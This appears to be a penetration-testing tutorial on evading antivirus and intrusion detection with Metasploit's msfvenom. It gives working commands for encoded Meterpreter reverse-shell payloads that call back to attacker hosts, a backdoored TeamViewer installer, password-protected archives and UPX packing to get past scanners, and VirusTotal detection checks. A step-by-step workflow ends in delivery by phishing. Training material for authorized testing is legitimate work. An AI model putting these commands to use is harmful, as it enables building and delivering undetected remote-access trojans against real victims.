msfvenom
Understanding how targets are defended helps attack them more efficiently and quietly. Defense mechanisms fall into two main categories: Endpoint Protection and Perimeter Protection.
Endpoint Protection
Endpoint protection refers to localized device or service protection for a single host on the network. The host can be a personal computer, corporate workstation, or server in a DMZ.
Common Components
Endpoint protection usually comes as software packages that include:
- Antivirus Protection - Signature-based malware detection
- Antimalware Protection - Bloatware, spyware, adware, scareware, ransomware
- Host Firewall - Local traffic filtering
- Anti-DDoS - Denial of service protection
Popular Endpoint Protection Products
- Avast
- Nod32
- Malwarebytes
- BitDefender
- Windows Defender
- ClamAV
Perimeter Protection
Perimeter protection comes in physical or virtualized devices on the network perimeter edge. These edge devices provide access inside the network from the outside (public to private).
Network Zones
| Zone | Description | Trust Level |
|---|---|---|
| Outside | The Internet, public networks | Lowest |
| DMZ | Public-facing servers (web, email, DNS) | Medium |
| Inside | Internal corporate network | Highest |
The DMZ houses servers that push and pull data for public clients from the Internet but are managed from the inside network.
Security Policies
Security policies function like ACLs (Access Control Lists) - essentially allow and deny statements that dictate how traffic or files can exist within a network boundary.
Policy Types
| Policy Type | Description |
|---|---|
| Network Traffic Policies | Control packet flow based on ports, protocols, IPs |
| Application Policies | Control which applications can run |
| User Access Control Policies | Define user permissions and authentication |
| File Management Policies | Control file access, modification, transfer |
| DDoS Protection Policies | Rate limiting, traffic shaping |
Detection Methods
Signature-based Detection
Compares network packets against pre-built attack pattern signatures. Any 100% match generates alarms.
Pros:
- Very accurate for known threats
- Low false positive rate
Cons:
- Cannot detect new/unknown attacks
- Requires constant signature updates
Heuristic/Statistical Anomaly Detection
Behavioral comparison against an established baseline, including APT (Advanced Persistent Threat) signatures.
Detection Approach:
- Establish baseline of normal network behavior
- Identify commonly used protocols
- Generate alarms when deviations exceed threshold
Stateful Protocol Analysis Detection
Recognizes divergence of protocols by event comparison using pre-built profiles of generally accepted non-malicious activity definitions.
Live-monitoring and Alerting (SOC-based)
Security Operations Center (SOC) analysts use live-feed software to monitor network activity and intermediate alarming systems for potential threats.
Evasion Techniques
Payload Encoding
Most host-based antivirus software relies on signature-based detection. Encoding payloads can help evade these signatures.
Generate Encoded Payload
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
-k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
Output:
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/test.js
Note: Simply encoding payloads with multiple iterations is often not sufficient for all AV products.
Encrypted Communication Channels
MSF6 can tunnel AES-encrypted communication from Meterpreter shells back to the attacker, successfully encrypting traffic as the payload is sent.
Benefits:
- Evades network-based IDS/IPS
- Meterpreter runs in memory (no file on disk)
Executable Templates (Backdoored Executables)
msfvenom can embed payloads into legitimate executable files, hiding shellcode deep within legitimate code.
Create Backdoored Executable
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
-k -x ~/Downloads/TeamViewer_Setup.exe \
-e x86/shikata_ga_nai -a x86 --platform windows \
-o ~/Desktop/TeamViewer_Setup.exe -i 5
Output:
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/Desktop/TeamViewer_Setup.exe
Key Flags
| Flag | Description |
|---|---|
-k | Keep template’s normal execution flow (payload runs in separate thread) |
-x <file> | Specify executable template |
-e <encoder> | Encoder to use |
-i <iterations> | Number of encoding passes |
-a <arch> | Target architecture |
--platform | Target platform |
Note: With -k flag, the original application runs normally while the payload executes in a separate thread. However, if launched from CLI, a separate window may pop up for the payload.
Archives for Evasion
Password-protected archives bypass many common AV signatures because the scanner cannot inspect the contents.
Creating Protected Archives
# ZIP with password
zip -e -P password payload.zip payload.exe
# 7-Zip with password
7z a -pPassword123 payload.7z payload.exe
Considerations:
- Files will be flagged as “unable to scan” in AV dashboards
- Administrators may manually inspect locked archives
- Effective for initial delivery when combined with social engineering
Packers
Packers compress and obfuscate executables by packing the payload with decompression code into a single file. When run, the decompression code restores the original executable transparently.
Popular Packers
| Packer | Description |
|---|---|
| UPX | Universal packer, widely used |
| The Enigma Protector | Windows executable protection |
| MPRESS | Compact packer for PE/ELF/Mach-O |
| Alternate EXE Packer | Simple Windows packer |
| ExeStealth | Anti-debugging features |
| MEW | Minimal size packer |
| Themida | Advanced code virtualization |
| Morphine | Polymorphic packer |
UPX Usage
# Compress executable
upx -9 payload.exe -o packed.exe
# Maximum compression with --ultra-brute
upx --ultra-brute payload.exe -o packed.exe
# Decompress (for analysis)
upx -d packed.exe
Reference: Check out the PolyPack project for more packer information.
VirusTotal Analysis
Use Metasploit’s built-in VirusTotal integration to test detection rates:
msf-virustotal -k <API_key> -f test.js
Sample Output:
[*] Using API key: <API key>
[*] Please wait while I upload test.js...
[*] VirusTotal: Scan request successfully queued
[*] Sample MD5 hash : 35e7687f0793dc3e048d557feeaf615a
[*] Sample SHA1 hash : f2f1c4051d8e71df0741b40e4d91622c4fd27309
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection
[*] Analysis Report: test.js (11 / 59)
Detection Rates Example
| Antivirus | Detected | Result |
|---|---|---|
| AVG | true | Win32:ShikataGaNai-A [Trj] |
| Avast | true | Win32:ShikataGaNai-A [Trj] |
| BitDefender | true | Exploit.Metacoder.Shikata.Gen |
| ClamAV | true | Win.Trojan.MSShellcode-6360729-0 |
| ESET-NOD32 | false | - |
| Kaspersky | false | - |
| Malwarebytes | false | - |
Exploit Code Considerations
Offset Randomization
When coding exploits, add randomization to break IPS/IDS database signatures for well-known exploit buffers:
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' => 5093 } ],
],
Avoid Obvious NOP Sleds
IPS/IDS regularly check for standard NOP sleds. Test custom exploit code against a sandbox before deployment.
Buffer Overflow Considerations
- Typical BoF exploits are easily distinguished by hexadecimal buffer patterns
- Use randomized shellcode encoding
- Vary NOP equivalents (NOPs can be replaced with other single-byte instructions)
MSF6 Encrypted Sessions
HTTPS Meterpreter with Stage Encoding
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
set StageEncoder x64/xor
run -j
Benefits
- AES-encrypted tunnel between Meterpreter and attacker
- Payload runs in memory (harder to detect)
- Encrypted traffic blends with normal HTTPS traffic
DNS Exfiltration
In cases with strict traffic rules, DNS can be used for data exfiltration. This technique was notably used in the Equifax breach of 2017.
Characteristics
- Slow but stealthy
- Often allowed through firewalls
- Difficult to detect without DNS-specific monitoring
- Can bypass IP-based filtering
References
- US Government Post-Mortem Report on Equifax Hack
- Protecting from DNS Exfiltration
- Stopping Data Exfil and Malware Spread through DNS
Evasion Workflow
Step 1: Choose Delivery Method
- Backdoored executable
- Macro-enabled document
- Script file (JS, VBS, PS1)
- Archive with password
Step 2: Apply Obfuscation
# Generate encoded backdoored executable
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 \
-x legit_app.exe -k \
-e x86/shikata_ga_nai -i 15 \
-f exe -o trojan.exe
Step 3: Pack the Payload (Optional)
upx -9 trojan.exe -o trojan_packed.exe
Step 4: Test Detection
msf-virustotal -k <API_key> -f trojan_packed.exe
Step 5: Setup Handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
run -j
Step 6: Deliver and Execute
- Social engineering
- Phishing email
- Physical access
- Exploit existing vulnerability
Important Notes
- Testing Environment: Always test evasion techniques in a sandbox before live deployment
- Single Chance: During assessments, you may only have one opportunity to succeed
- Signature Updates: AV vendors regularly update signatures for known tools
- Layered Approach: Combine multiple evasion techniques for better results
- Legal Compliance: Only use these techniques during authorized penetration tests
Additional Resources
- Metasploit - The Penetration Tester’s Guide - No Starch Press
- PolyPack Project - Packer research
- Veil Framework - Payload generation framework
- Shellter - Dynamic shellcode injection